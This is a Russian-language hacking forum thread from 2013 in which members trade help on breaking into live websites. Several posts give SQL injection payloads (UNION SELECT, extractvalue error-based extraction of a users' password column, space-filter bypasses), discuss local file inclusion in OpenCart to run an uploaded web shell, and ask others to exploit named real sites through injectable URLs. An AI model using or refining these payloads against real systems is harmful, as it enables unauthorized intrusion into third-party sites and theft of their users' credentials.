Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652

    Бессмысленности здесь нет!

    er9j6@ привел способ вывода данных в формате
    через принтабельное поле.

    p.s. уберите лишние пробелы :)
     
  2. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Ах, да извиняюсь честно слово, синтаксис не глянул. Пробелы убрал и действительно имена таблиц по выскакивали:
    [​IMG]
    Убрав Восклицательный Знак в синтаксисе (table_schema!) я получил немного другой вид.. но правда это было не утешительно таблицы: dbrootgroupid; dblogin; dbpasswd; dbmail - исчезли
     
    #22382 Unknowhacker, 30 Jul 2013
    Last edited: 30 Jul 2013
  3. exstreme

    exstreme New Member

    Joined:
    23 Feb 2013
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Что значит данная ошибка, или скорее как ее подправить, чтобы работало?
    Code:
    ERROR: UNION types integer and text cannot be matched LINE 1
    Code:
    UNION(SELECT(version()),version(),version(),version(),(version()))
     
  4. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Извлечь можно:

     
    2 people like this.
  5. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    СпасибО!
     
    #22385 Unknowhacker, 31 Jul 2013
    Last edited: 31 Jul 2013
  6. TRX.new

    TRX.new Member

    Joined:
    27 Apr 2009
    Messages:
    151
    Likes Received:
    21
    Reputations:
    0
    Подвержен ли данный код LFI ?
    В папке "../../download" лежит шелл, как его проинклудить через
    PHP:
    $route
    ?

    PHP:
        public function __construct($route$args = array()) {
            
    $path '';
            
            
    $parts explode('/'str_replace('../''', (string)$route));
            
            foreach (
    $parts as $part) { 
                
    $path .= $part;
                
                if (
    is_dir(DIR_APPLICATION 'controller/' $path)) {
                    
    $path .= '/';
                    
                    
    array_shift($parts);
                    
                    continue;
                }
                
                if (
    is_file(DIR_APPLICATION 'controller/' str_replace('../'''$path) . '.php')) {
                    
    $this->file DIR_APPLICATION 'controller/' str_replace('../'''$path) . '.php';
                    
                    
    $this->class 'Controller' preg_replace('/[^a-zA-Z0-9]/'''$path);

                    
    array_shift($parts);
                    
                    break;
                }
            }
            
            if (
    $args) {
                
    $this->args $args;
            }
                
            
    $method array_shift($parts);
                    
            if (
    $method) {
                
    $this->method $method;
            } else {
                
    $this->method 'index';
            }
        }
        
        public function 
    getFile() {
            return 
    $this->file;
        }
        
        public function 
    getClass() {
            return 
    $this->class;
        }
        
        public function 
    getMethod() {
            return 
    $this->method;
        }
        
        public function 
    getArgs() {
            return 
    $this->args;
        }
    }
     
  7. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    TRX.new, Если можно использовать Windows-слэши, то используйте их, с UNIX-слэшами никак нельзя(Предполагается, что $this->file попадает в инклуд).
     
    1 person likes this.
  8. TRX.new

    TRX.new Member

    Joined:
    27 Apr 2009
    Messages:
    151
    Likes Received:
    21
    Reputations:
    0
    Вот сюда в итоге попадает $file

    PHP:
    private function execute($action) {
    $file $action->getFile();
    ...
    if (
    file_exists($file)) {
    require_once(
    $file);
    Виндовые слеши не отрабатывают, т.к. все на Linux.

    Тогда такой вопрос: есть два разных сервака. На одном OpenCart 1.5.3.1 на другом 1.5.2.1. Методами, описанными в статье waraxe, я залил файл на оба сервера в папку download , но на 1.5.3.1 shell выполняется , а на 1.5.2.1 нет. Причем стоит заметить что я заливаю файл test.php.jpg , на сервере имя формируется так test.php.jpg.{md5(mt_rand())}. Имя файла на сервере узнать легко, поэтому это не проблема. Задача на сервере с 1.5.2.1 выполнить shell , но там получаю файл как картинку.

    Версия PHP на обоих серваках : 5.2.17
    Также в корне сайта есть php.ini

    1.5.3.1 :

    Code:
    magic_quotes_gpc = Off;
    register_globals = off;
    default_charset	= UTF-8;
    memory_limit = 64M;
    max_execution_time = 18000;
    upload_max_filesize = 999M;
    safe_mode = Off;
    mysql.connect_timeout = 20;
    session.use_cookies = On;
    session.use_trans_sid = Off;
    session.gc_maxlifetime = 12000000;
    allow_url_fopen = on;
    display_errors = 1;
    error_reporting = E_ALL;
    1.5.2.1:

    Code:
    magic_quotes_gpc = Off;
    magic_quotes_runtime = Off;
    magic_quotes_sybase = Off;
    register_globals = Off;
    default_charset	= UTF-8;
    memory_limit = 64M;
    max_execution_time = 18000;
    upload_max_filesize = 999M;
    safe_mode = Off;
    mysql.connect_timeout = 20;
    session.use_cookies = On;
    session.use_trans_sid = Off;
    session.gc_maxlifetime = 12000000;
    allow_url_fopen = on;
    date.timezone = Asia/Yekaterinburg;
    ;display_errors = 1;
    ;error_reporting = E_ALL;
    Не думаю, что они положили отдельный файлик .htaccess в папку download.
    Цель : выполнить shell на серве с 1.5.2.1
     
  9. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Это уже вопрос по другому коду, вы уверены что он один и тот-же? Можно его, а так-же ссылку на эту статью?

    По инклуду вердикт однозначный - с использованием UNIX-слэшей спуск невозможен. Набросал тут кое-что на эту тему: https://forum.antichat.net/thread390482.html
     
    #22389 randman, 1 Aug 2013
    Last edited: 1 Aug 2013
  10. TRX.new

    TRX.new Member

    Joined:
    27 Apr 2009
    Messages:
    151
    Likes Received:
    21
    Reputations:
    0
    Спасибо большое. Статья вот: http://www.waraxe.us/advisory-84.html

    Это для версии 1.5.2.1 , но применил и к 1.5.3.1 (и здесь то как раз работает, я получил рабочий шелл). В случае с 1.5.2.1 шелл грузится как изображение.
     
  11. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Дело обстоит так.. есть сайт, на котором можно узнать version; database запросом
    Code:
    and(extractvalue(1,concat(0x3a,database())))and' 
    , а для получения пароля нужно выполнить запрос (Источник кн. Дмитрий Евтеев Positive technologies стр. 24)
    Code:
    and(extractvalue(1,concat(0x3a,(select pass from users limit 0,1)))and' 
    задача заключается в том, чтобы обойти ПРОБЕЛЫ .. Знатоки, помогите!
     
    #22391 Unknowhacker, 1 Aug 2013
    Last edited: 1 Aug 2013
  12. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    196
    Likes Received:
    12
    Reputations:
    -7
    select(password)from(tables)where(id=1)
    только грешно взломами....
     
  13. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Переделал на
    Code:
    and(extractvalue(1,concat(0x3a,select(password)from(tables)where(id=1))))and' 
    ... не хочет зараза дикая :confused:
     
  14. vikler

    vikler Member

    Joined:
    16 Aug 2012
    Messages:
    93
    Likes Received:
    7
    Reputations:
    0
    LFI провожу на сервере, на котором Mac OS X
    После двухдневного копания, отрыла логи error_log, не обновлялся с 2010 года, притом судя по последней записи "Defaced", этот лог тогда кто-то явно отравил

    В связи с этим вопрос: можно ли на Mac OS x найти некое подобие proc/self/environ ? Где бы писался user-agent?

    php://filter работает, но удалось посмотреть исходный код только main.php

    Нашла логин, пароль, бд от MySQL sphinx, но дело дохлое: только local host connection

    надо лить шелл...но как это сделать на этом *** Mac OS X :(
     
  15. vikler

    vikler Member

    Joined:
    16 Aug 2012
    Messages:
    93
    Likes Received:
    7
    Reputations:
    0
    не, НЕТУ
    мЕНЯ НАСТОРАЖИВАЕТ, что все конфиги updat'ы 2010 года. что это значит? Сайт живой, обновляется просто постоянно, постоянный доступ посетителей....
    edit: хотя нет, /var/log/secure.log обновляется сегодняшним днем к примеру
     
  16. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Ничего настораживающего. Рабочие логи, как могут быть в другом месте, так и вовсе быть отключены в целях повышеня производительности. Можно попробовать поискать субдомены, обычно на технических, девелоп и тп сабах логи включены, не требуют тонкого тюнинга и тп.
     
  17. vikler

    vikler Member

    Joined:
    16 Aug 2012
    Messages:
    93
    Likes Received:
    7
    Reputations:
    0
    хм, спасибо, попробую в суб-доменах поискать....
    EDIT: в суб-доменах та же херь
     
    #22397 vikler, 3 Aug 2013
    Last edited: 3 Aug 2013
  18. nicols

    nicols Banned

    Joined:
    20 Aug 2012
    Messages:
    49
    Likes Received:
    1
    Reputations:
    0
    Помогите раскрутить
    Code:
    http://www.hochuvotpusk.ru:80/info.php?id=41
     
  19. seozone

    seozone Member

    Joined:
    11 Sep 2012
    Messages:
    30
    Likes Received:
    7
    Reputations:
    0
    Ребят, нашёл это: http://rp-gameworld.ru/misc/ что можно сделать с этим?
     
  20. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Code:
    http://www.cigarettehouse.net/?action=page&name=NEWS&page=-37+and+1=1+union+select+231,223+--+
    Кто осилит?
     
Thread Status:
Not open for further replies.